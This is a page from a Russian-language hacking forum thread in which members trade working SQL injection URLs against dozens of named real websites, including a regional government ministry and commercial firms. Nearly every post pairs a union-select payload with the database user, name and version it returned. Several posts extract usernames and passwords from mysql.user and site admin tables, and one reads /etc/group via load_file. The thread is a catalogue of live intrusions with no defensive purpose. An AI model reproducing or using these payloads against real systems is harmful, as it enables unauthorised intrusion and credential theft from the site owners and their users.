SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. hack-win32

    hack-win32 Member

    Joined:
    11 Oct 2009
    Messages:
    31
    Likes Received:
    37
    Reputations:
    1
    infofir_seadmin@98.130.0.136:infofir_SE:5.0.41-community-log[/B]
    Code:
    http://www.senesco.com/newsitem.php?id=-168+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version())--

    monkey0_nick@localhost:monkey0_jo151:4.0.27-standard
    Code:
    http://www.nivb.com/newsitem.php?item=-122+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--
    
    u10118317@lon1-webmysql-2.msh.demon.net:u10118317:4.0.30-log
    Code:
    http://www.jadeprint.com/newsitem.php?recordID=-12+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8--

    alvin@205.178.145.65:alvinsingleton:4.1.22-log
    Code:
    http://www.alvinsingleton.com/newsitem.php?id=-3+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4--

    web108-craven@localhost:web108-craven:5.0.86-community
    Code:
    http://www.craven-property.com/newsItem.php?id=-51+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7--

    blackroc_website@localhost:blackroc_general:5.0.77-community
    Code:
    http://blackrockspeedway.net/news/newsItem.php?tag=1&year=2009&item=-9+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version())--

    alteuser@localhost:alte:4.0.22
    Code:
    http://www.alte.org/news/newsitem.php?newsID=-197+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--

    njwfadb@208.109.181.105:njwfadb:4.1.22-max-log
    Code:
    http://www.njworkingfamilies.org/newsItem.php?nwID=-34+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6--

    fiddlefolk@localhost:fiddlefolk:5.1.35
    Code:
    http://www.fiddleworkshop.co.uk/newsitem.php?id=-84+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--

    churchdbuser@localhost:church:5.0.22-Debian_0ubuntu6.06.9-log
    Code:
    http://www.churchbuyinggroup.co.uk/newsitem.php?news_id=-7+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7--

    danielkawczynski@localhost:danielkawczynski:5.0.51a-3ubuntu5.4
    Code:
    http://www.daniel4shrewsbury.co.uk/newsitem.php?newsid=-15+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--
     
    3 people like this.
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    736
    Likes Received:
    404
    Reputations:
    134
    вывод в ошибке
    version()=4.0.21
    user()=tpgsurveyuser3@localhost
     
    1 person likes this.
  3. KNR

    KNR Member

    Joined:
    30 Oct 2009
    Messages:
    25
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://ezonet.ru/teldir.php?catID=-36+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)
    4.0.27-max-log:ezonet77:ezonet77@v50.valuehost.ru:unknown-freebsd4.7
     
    2 people like this.
  4. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    217
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.motorama.be/show.php?id=-117+union+select+1,2,concat_ws(database(),user(),version(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    root@localhostmotorama4.1.20-logmotoramaredhat-linux-gnu

    Code:
    http://www.motorama.be/show.php?id=-117+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--
    LFI:
    Code:
    http://www.motorama.be/show.php?id=-117+union+select+1,2,load_file('/etc/group'),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
     
    3 people like this.
  5. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    152
    Likes Received:
    244
    Reputations:
    73
    Официальный сайт министерства экономики Республики Бурятия
    Code:
    economy_ru:newser@localhost:5.0.41-log
    Народное Собрание Республики Ингушетия
    Продолжаем за спасибо)
     
    7 people like this.
  6. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    172
    Likes Received:
    36
    Reputations:
    3
    PR5
    Code:
    http://www.horwoodpublishing.net/order.php?id=-140+union+select+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+tbl_users--
    version: 4.1.15-standard-log
    database: horwoodpub
    -----------------------------------------
    PR5
    Code:
    http://www.iams.co.uk/cat/where-to-buy.php?id=-46+union+select+1,concat_ws(0x3a,version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
    version: 5.0.37-community-log
    database: iamsfr
    -----------------------------------------
    PR5
    Code:
    http://www.rtos.com/page/product.php?id=-2+union+select+1,2,version(),4--
    version: 4.1.20-log
    database: expresslogic
     
    #11166 Gaus, 13 Nov 2009
    Last edited: 13 Nov 2009
    2 people like this.
  7. ^YaHoo^

    ^YaHoo^ Banned

    Joined:
    2 Jan 2009
    Messages:
    26
    Likes Received:
    26
    Reputations:
    0
    Code:
    http://www.designtrend.hu/index.php?inc=rovat&RId=-1+Union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4--
    5.1.38:dcmagazin:dcmagazin@localhost: portbld-freebsd7.2

    Code:
    http://miami21.metro1companies.com/details.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65--
    4.1.22:metro1_1:gt3creative@localhost: portbld-freebsd4.10

    Code:
    http://www.meechannel.com/index.php?sec=organize&setid=-1+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--
    Code:
    http://www.meechannel.com/index.php?sec=organize&setid=-1+union+select+concat_ws(0x3a,user,password)+from+mysql.user+limit+16,21--
    5.0.27:meechannel:meechannel@localhost:redhat-linux-gnu

    Code:
    http://www.gtk.fi/slr/article.php?id=-18+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11--
    5.0.77:slr:slr@localhost:redhat-linux-gnu

    Code:
    http://www.ventasport.ru/tovar.php?id=1/**/union/**/select/**/1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    4.0.27-log:db12509m:m12509@fhe7.hoster.ru: portbld-freebsd7.0

    Code:
    http://www.shinamir.ru/index.php?pageId=-50+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10
    Code:
    http://www.shinamir.ru/index.php?pageId=-50+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10+from+mysql.user+limit+24,24
    5.0.45-log:shinamir:shinamir@localhost:redhat-linux-gnu
     
    2 people like this.
  8. Aртем

    Aртем Member

    Joined:
    18 Oct 2009
    Messages:
    54
    Likes Received:
    31
    Reputations:
    5
    Code:
    http://www.avk-bearing.ru/n.php?id=7+and+1=0+union+select+1,2,3,4,5--
    http://www.gotranslators.ru/cv.php?dir=22&id=486+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    http://www.sdosug.ru/vote.php?ID=132+and+1=0+union+select+1,2,3,4--
    http://girl.veneradosug.ru/vote.php?ID=92+and+1=0+union+select+1,2,3,4--
    http://piter.dosug24.ru/vote.php?ID=705+and+1=0+union+select+1,2,3,4--
     
    2 people like this.
  9. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    352
    Likes Received:
    104
    Reputations:
    8
    Code:
    http://www.craft-russia.ru/rdvs/index.php?id=-41+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5+--+

    Database Version: 5.0.67-log
    Database name: u45240
    User name: u45240@10.10.223.201
     
    #11169 Roston, 14 Nov 2009
    Last edited: 14 Nov 2009
    1 person likes this.
  10. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    40
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.estensa.it/web-agency-dett-news.php?id=-33+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10--
    database: Sql161320_1
    version: 5.0.82sp1-log
    user: Sql161320@62.149.141.31
     
    8 people like this.
  11. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    217
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.spes-forum.be/spes/page.php?LAN=N&FILE=agendadetail&ID=-942+union+select+1,user(),3,4,5,6,7,8,9,10,11,12--
    log-standard-4.1.13

    http://insidestory.mxv.be/page.php?id=-22+union+select+1,2,version(),4,5--

    5.0.45-log

    http://www.flandersmusic.be/page.php?ID=-65+union+select+version()--

    5.1.36-0.dotdeb.0
     
    #11171 547, 14 Nov 2009
    Last edited: 14 Nov 2009
  12. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    40
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.payperclickuniverse.com/search-engine-latest-news.php?v=more&id=-66+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7--
    database:ppcu_ppc
    version:4.1.22-log
    user:ppcu@web2-int


    Code:
    http://www.iolabsinc.com/news.php?id=-66+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6--
    database:iolabs
    version:5.0.67-userstats-log
    user:iolabs@waboba.com


    Code:
    http://www.thekarchergroup.mobi/mobile-news.php?id=-66+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    database:TheKarcherGroup
    version:5.0.45-log
    user:thekarchergroup@php5.thekarchergroup.com


    Code:
    http://www.jazzdimensions.de/news.php?ort=Berlin&id=-66+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15--
    database:db16424844
    version:4.0.27-max-log
    user:dbo16424844@195.20.225.5


    Code:
    http://www.sportpark-quickborn.de/news.php?id=-66+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5--
    
    database:DB352449
    version:5.0.67-log
    user:U352449@hoon.store
     
    2 people like this.
  13. edge911

    edge911 Active Member

    Joined:
    21 Feb 2009
    Messages:
    110
    Likes Received:
    142
    Reputations:
    15
    MSsql
    PR 5
     
    5 people like this.
  14. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    172
    Likes Received:
    36
    Reputations:
    3
    PR4
    Code:
    http://www.natural-insect-control.com/product.php?id=000000283+and+1=0+union+select+1,concat_ws(0x3a,User,Password),3,4+from+mysql.user--
    version: 5.0.77-log
    user: root@localhost
    database: naturalinsect
    PR2
    Code:
    http://www.ldicolortoolbox.com/product.php?id=98&cid=30+and+1=0+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
    version: 4.1.20
    user: dang@localhost
    database: ldi
     
    #11174 Gaus, 15 Nov 2009
    Last edited: 15 Nov 2009
    3 people like this.
  15. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    172
    Likes Received:
    36
    Reputations:
    3
    PR6
    Code:
    http://www.mercurymarine.com/newsandevents/newsdetail.php?ID=20+and+1=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12--
    4.1.21:mercury@localhost:mercurymarine
    PR5
    Code:
    http://www.adventureplus-bg.com/story.php?id=21+and+1=0+union+select+concat_ws(0x3a,version(),user(),database())--
    4.0.26a:top@sg-acd12:top
    PR5
    Code:
    http://channelstv.com/prog_transcript.php?id=34+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5--
    4.1.22-log:channels_user@67.205.111.186:channels
    PR5
    Code:
    http://www.digital-everywhere.com/shop/index.php?page=artikel&pkateg=20+and+1=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
    4.1.22-standard-log:db188898_1@local2:db188898_1
    PR4
    Code:
    http://www.digital-everywhere.com/shop/index.php?page=artikel&pkateg=20+and+1=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
    4.1.22-standard-log:db188898_1@local2:db188898_1
    PR4
    Code:
    http://www.game-reviews.ca/news.php?id=1422+and+1=0+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9,10,11+from+admin--
    5.0.67-standard:gamerevi_news@localhost:gamerevi_gamenews
    PR3
    Code:
    http://www.adventureplus-bg.com/story.php?id=21+and+1=0+union+select+concat_ws(0x3a,version(),user(),database())--
    4.0.26a:top@sg-acd12:top
    PR3
    Code:
    http://juggler.artinact.com/a-imglib/showimg.php?id=15+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8--
    4.1.22-standard-log:artinact_juggler@localhost:artinact_juggler
    PR3
    Code:
    http://fitnessbuildshealth.com/trainers.php?id=39+and+1=0+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13,14,15,16--
    4.1.20-max-log:start6_ray@71.18.216.33:start6_fit
     
    #11175 Gaus, 15 Nov 2009
    Last edited: 15 Nov 2009
    3 people like this.
  16. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    Code:
    http://ukrturizm.com.ua/index.php?id=-293+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7--
    
    4.1.25-log:atur@localhost:atur

    Code:
    http://www.tsetse220.com/news.php?id=-142+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5--
    
    5.0.51a-3ubuntu5.4:root@localhost:tsetse220

    Code:
    http://www.otcheta.net/news.php?id=13005+and+substring%28version%28%29,1,1%29=4
    
    version: 4.1.25-log
     
    2 people like this.
  17. hack-win32

    hack-win32 Member

    Joined:
    11 Oct 2009
    Messages:
    31
    Likes Received:
    37
    Reputations:
    1
    db9330@64.13.192.28:db9330_blog:4.1.25-Debian_mt1
    Code:
    http://www.blamm.com/top10.php?id=-8+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--
    

    codeglue2@WSWWW07:codeglue2:5.0.85-community-nt
    Code:
    http://www.codeglue.com/game.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    rpgui@localhost:RPGuides:5.0.51a-3ubuntu5.4
    Code:
    http://www.rpguides.de/dnd/game.php?id=-67+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),database(),version()),14,15--
     
    2 people like this.
  18. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    115
    Likes Received:
    46
    Reputations:
    1
    http://www.rav.org/upper/newsDetail.php?id=170+union+select+1,2,3,4,5,6,7,8,9,10--

    user:sql@maimonides.org@207.155.252.14
    base:maimoDB
    os:sun-solaris2.8
    mysql.user:sql@maimonides.org

    file_priv:N
    ver:4.1.22-log

    [ id,username,pwd ] from [ users ]
    -----------------------------------------
     
    #11178 hackmen, 16 Nov 2009
    Last edited by a moderator: 16 Nov 2009
    1 person likes this.
  19. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,613
    Likes Received:
    398
    Reputations:
    230
    http://www.cg.com.ve/noticia.php?id=-222+union+select+1,concat_ws(0x3a3a,login,contrasena,nombre),3,4,5,6,7,8,9,10,11,12+from+usuarios+limit+2,1+/*+


    http://www.pepedoro.it/pepedoroblog/magazine.php?acts=report&id=-79'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+/*+


    http://www.spotbit.com/main/inside_search.php?&title=6&memberid=-2278+uNiOn+sElEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103+/*+
     
    4 people like this.
  20. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    736
    Likes Received:
    404
    Reputations:
    134
    ням,но сцк не фартит..
    Db: internet
    Version: 4.1.22-log
    User: interusr@webserver
     
    4 people like this.
Loading...
Thread Status:
Not open for further replies.